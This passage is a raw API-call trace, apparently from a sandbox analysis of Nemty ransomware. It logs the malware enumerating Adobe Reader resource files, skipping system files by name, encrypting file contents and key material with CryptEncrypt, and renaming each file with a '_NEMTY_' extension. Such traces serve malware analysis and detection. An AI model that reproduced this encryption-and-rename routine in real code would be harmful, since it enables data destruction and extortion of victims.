0x6349050 [0215.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0215.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.062] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_CH.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_ch.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.062] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=29398) returned 1 [0215.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x72d0) returned 0x6352c48 [0215.062] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.062] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x72d0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x72d0, lpOverlapped=0x0) returned 1 [0215.066] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.066] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x72d0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x72d0, lpOverlapped=0x0) returned 1 [0215.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.066] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=29398, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x72d6 [0215.066] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.066] CloseHandle (hObject=0x2e8) returned 1 [0215.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.066] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.066] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.067] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_CH.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_ch.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_CH.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_ch.txt._nemty_kgobjgd_")) returned 1 [0215.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.068] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.068] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7328, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.de_DE.txt", cAlternateFileName="DID4A5~1.TXT")) returned 1 [0215.068] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE.txt", lpString2=".") returned 1 [0215.068] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE.txt", lpString2="..") returned 1 [0215.068] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE.txt", lpString2="...") returned 1 [0215.068] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE.txt", lpString2="windows") returned -1 [0215.068] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.068] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE.txt", lpString2="rsa") returned -1 [0215.068] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE.txt", lpString2="NTDETECT.COM") returned -1 [0215.068] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE.txt", lpString2="ntldr") returned -1 [0215.068] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE.txt", lpString2="MSDOS.SYS") returned -1 [0215.068] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE.txt", lpString2="IO.SYS") returned -1 [0215.068] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE.txt", lpString2="boot.ini") returned 1 [0215.068] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE.txt", lpString2="boot.ini") returned 1 [0215.068] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.068] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE.txt", lpString2="ntuser.dat") returned -1 [0215.068] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE.txt", lpString2="desktop.ini") returned 1 [0215.068] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE.txt", lpString2="CONFIG.SYS") returned 1 [0215.068] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE.txt", lpString2="RECYCLER") returned -1 [0215.068] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.068] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE.txt", lpString2="bootmgr") returned 1 [0215.068] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE.txt", lpString2="programdata") returned -1 [0215.068] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE.txt", lpString2="appdata") returned 1 [0215.068] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.068] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.de_DE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.068] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.068] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.de_DE.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.de_DE.txt", lpUsedDefaultChar=0x0) returned 30 [0215.068] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.068] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.068] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.de_DE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.068] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.068] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.de_DE.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.de_DE.txt", lpUsedDefaultChar=0x0) returned 30 [0215.068] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.068] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.068] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.069] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.de_DE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.069] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.de_DE.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.de_DE.txt", lpUsedDefaultChar=0x0) returned 30 [0215.069] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.069] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.de_DE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.069] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.de_DE.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.de_DE.txt", lpUsedDefaultChar=0x0) returned 30 [0215.069] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.069] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.069] Sleep (dwMilliseconds=0x5) [0215.075] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33d51070, dwHighDateTime=0x1d561e8)) [0215.075] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33d51070, dwHighDateTime=0x1d561e8)) [0215.075] GetLastError () returned 0x0 [0215.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.075] GetLastError () returned 0x0 [0215.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.075] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.075] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.076] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0215.076] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: pszString="VEwFvF8e/JUea/LduCTv1o8VvhOugCr+Ve54E8iM3CiRTyXb7lkODOricKH0qZws\r\nCBk6FgTkpxUh/uLr0XtAz8Sx7wkkP5qhc9mm46x8wO4ez21YWoxdVvxK0IXsA+8D\r\n0jfhMqxozfiJgK0YtLmDR/yls9SLKPSAZmbYFWmABY+BY/ZyFmgmABCF7rT4Fnn+\r\nlNQcnz3H9zNpbLeo40aPO01sSlgMKf4JGOrUqJJPydbCJlLMauCpmUgOdMMY4ek7\r\n0yikcf8KTbc1zSADtds5w0mAbkfQ8toyaq89jOqriehSM9BHScpqhhquVrYmF69T\r\nDo6ZCcmNVYrgTcPY6EoUGg==\r\n", pcchString=0x653e5dc) returned 1 [0215.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0215.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.076] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_DE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_de.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.076] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=29480) returned 1 [0215.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7320) returned 0x6352c48 [0215.076] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.076] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x7320, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x7320, lpOverlapped=0x0) returned 1 [0215.113] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.113] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x7320, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x7320, lpOverlapped=0x0) returned 1 [0215.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.113] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=29480, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7328 [0215.113] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.113] CloseHandle (hObject=0x2e8) returned 1 [0215.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.113] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_DE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_de.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_DE.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_de.txt._nemty_kgobjgd_")) returned 1 [0215.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.114] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7326, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.de_DE_PREEURO.txt", cAlternateFileName="DI06A0~1.TXT")) returned 1 [0215.114] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE_PREEURO.txt", lpString2=".") returned 1 [0215.114] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE_PREEURO.txt", lpString2="..") returned 1 [0215.114] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE_PREEURO.txt", lpString2="...") returned 1 [0215.114] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE_PREEURO.txt", lpString2="windows") returned -1 [0215.114] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE_PREEURO.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.114] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE_PREEURO.txt", lpString2="rsa") returned -1 [0215.114] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE_PREEURO.txt", lpString2="NTDETECT.COM") returned -1 [0215.114] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE_PREEURO.txt", lpString2="ntldr") returned -1 [0215.114] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE_PREEURO.txt", lpString2="MSDOS.SYS") returned -1 [0215.115] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE_PREEURO.txt", lpString2="IO.SYS") returned -1 [0215.115] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE_PREEURO.txt", lpString2="boot.ini") returned 1 [0215.115] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE_PREEURO.txt", lpString2="boot.ini") returned 1 [0215.115] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE_PREEURO.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.115] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE_PREEURO.txt", lpString2="ntuser.dat") returned -1 [0215.115] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE_PREEURO.txt", lpString2="desktop.ini") returned 1 [0215.115] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE_PREEURO.txt", lpString2="CONFIG.SYS") returned 1 [0215.115] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE_PREEURO.txt", lpString2="RECYCLER") returned -1 [0215.115] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE_PREEURO.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.115] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE_PREEURO.txt", lpString2="bootmgr") returned 1 [0215.115] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE_PREEURO.txt", lpString2="programdata") returned -1 [0215.115] lstrcmpiW (lpString1="DisplayLanguageNames.de_DE_PREEURO.txt", lpString2="appdata") returned 1 [0215.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0215.115] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.de_DE_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0215.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0215.115] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.de_DE_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.de_DE_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0215.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0215.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x63400a0 [0215.115] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.de_DE_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0215.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0215.115] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.de_DE_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.de_DE_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0215.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0215.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400a0 | out: hHeap=0x4f90000) returned 1 [0215.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0215.115] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.de_DE_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, 